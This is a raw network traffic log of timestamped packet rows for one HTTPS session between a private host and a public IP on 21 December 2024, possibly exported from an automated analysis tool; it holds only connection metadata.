Dec 21, 2024 19:24:49.553453922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.553495884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553495884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553673983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.553684950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.553796053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553796053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553803921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.553894997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553951979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.554254055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.554264069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.554384947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.554472923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.554481030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.554518938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.554982901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.554996967 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.555160999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.555161953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.555169106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.555210114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.555305004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.555943966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.555954933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.556150913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.556150913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.556159973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.556253910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557022095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.557034016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.557162046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557162046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557169914 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.557209969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557307005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557677984 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.557688951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.557816029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557816029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557864904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557959080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.557965040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.558294058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.558305979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.558449030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.558449984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.558463097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.558500051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.558548927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.558549881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.558598042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.559077024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.559087038 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.559252977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.559341908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.559341908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.559349060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.559355021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.560132027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.560144901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.560347080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.560355902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.560477018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.560606003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.560750961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.560760975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.560908079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.561049938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.561057091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.561369896 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.561383963 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.561584949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.561595917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.561634064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.561682940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.562314034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.562325001 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.562452078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.562459946 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.562546968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.562637091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.562987089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.563354015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.563364029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.563505888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.563553095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.563553095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.563558102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.563601971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.563651085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.563836098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.563844919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.564374924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.564378977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.564547062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.564553976 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.564779043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.564785004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.564913034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.565387964 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.565397024 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.565526009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.565526009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.565603971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.565603971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.565609932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.565691948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.566179991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.566189051 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.566319942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.566325903 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.566431999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.566534996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.566888094 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.566896915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.567018986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.567118883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.567126036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.567167997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.567466974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.567476034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.567678928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.567686081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.567792892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.568259001 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.568265915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.568828106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.568828106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.568828106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.568835020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.568877935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.568877935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.568877935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.569138050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.569147110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.569303036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.569310904 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.569466114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.569796085 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.569824934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.569945097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.569945097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.569993973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570009947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.570043087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570137024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570516109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.570560932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.570660114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570660114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570686102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.570705891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570705891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570804119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.570804119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.571286917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.571315050 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.571414948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.571501970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.571516991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.571594000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.571978092 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.572010040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.572128057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.572144985 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.572242975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.572307110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.572694063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.572722912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.573050976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.573072910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.573316097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.573344946 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.573518991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.573535919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.573683023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.573992968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.574016094 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.574156046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574156046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574213028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574230909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.574250937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574250937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574348927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574814081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.574847937 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.574965000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574965000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.574982882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.575007915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.575007915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.575133085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.575237989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.575263023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.575443029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.575443029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.575464010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.575592995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576090097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.576119900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.576230049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576230049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576261044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.576278925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576280117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576325893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576375961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.576838970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.576859951 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.576978922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.577001095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.577058077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.577058077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.577172995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.577590942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.577620029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.577797890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.577816010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.577886105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.578474998 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.578506947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.578640938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.578640938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.578664064 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.578686953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.578788996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.578788996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.578910112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.578932047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.579056025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.579056025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.579077959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.579102993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.579102993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.579153061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.579202890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.579590082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.579618931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.580115080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.580142975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.580355883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.580384970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.580593109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.580615044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.580723047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581064939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.581089020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.581240892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581240892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581264019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.581286907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581386089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581568956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.581597090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.581711054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581727028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.581758976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581758976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581825018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581825018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.581914902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.582425117 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.582453966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.582570076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.582616091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.582616091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.582633972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.582711935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583029032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.583056927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.583194017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583194017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583215952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.583236933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583339930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583617926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.583646059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.583775997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583861113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.583874941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.583894968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.584204912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.584233046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.584373951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.584391117 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.584420919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.584420919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.584420919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.584543943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585103989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.585131884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.585235119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585335016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585335016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585355043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.585561037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.585594893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.585690022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585690022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585711956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.585793018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.585838079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.586257935 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.586283922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.586429119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.586429119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.586461067 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.586474895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.586527109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.586575031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.586935043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.586966991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.587078094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.587078094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.587096930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.587127924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.587233067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.587663889 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.587698936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.587794065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.587872028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.587891102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.587920904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.588375092 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.588409901 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.588690042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.588710070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.588820934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.588911057 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.588934898 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.589567900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.589567900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.589570045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.589591026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.589611053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.589729071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.589744091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.589871883 CET	49766	443	192.168.11.20	172.67.184.254
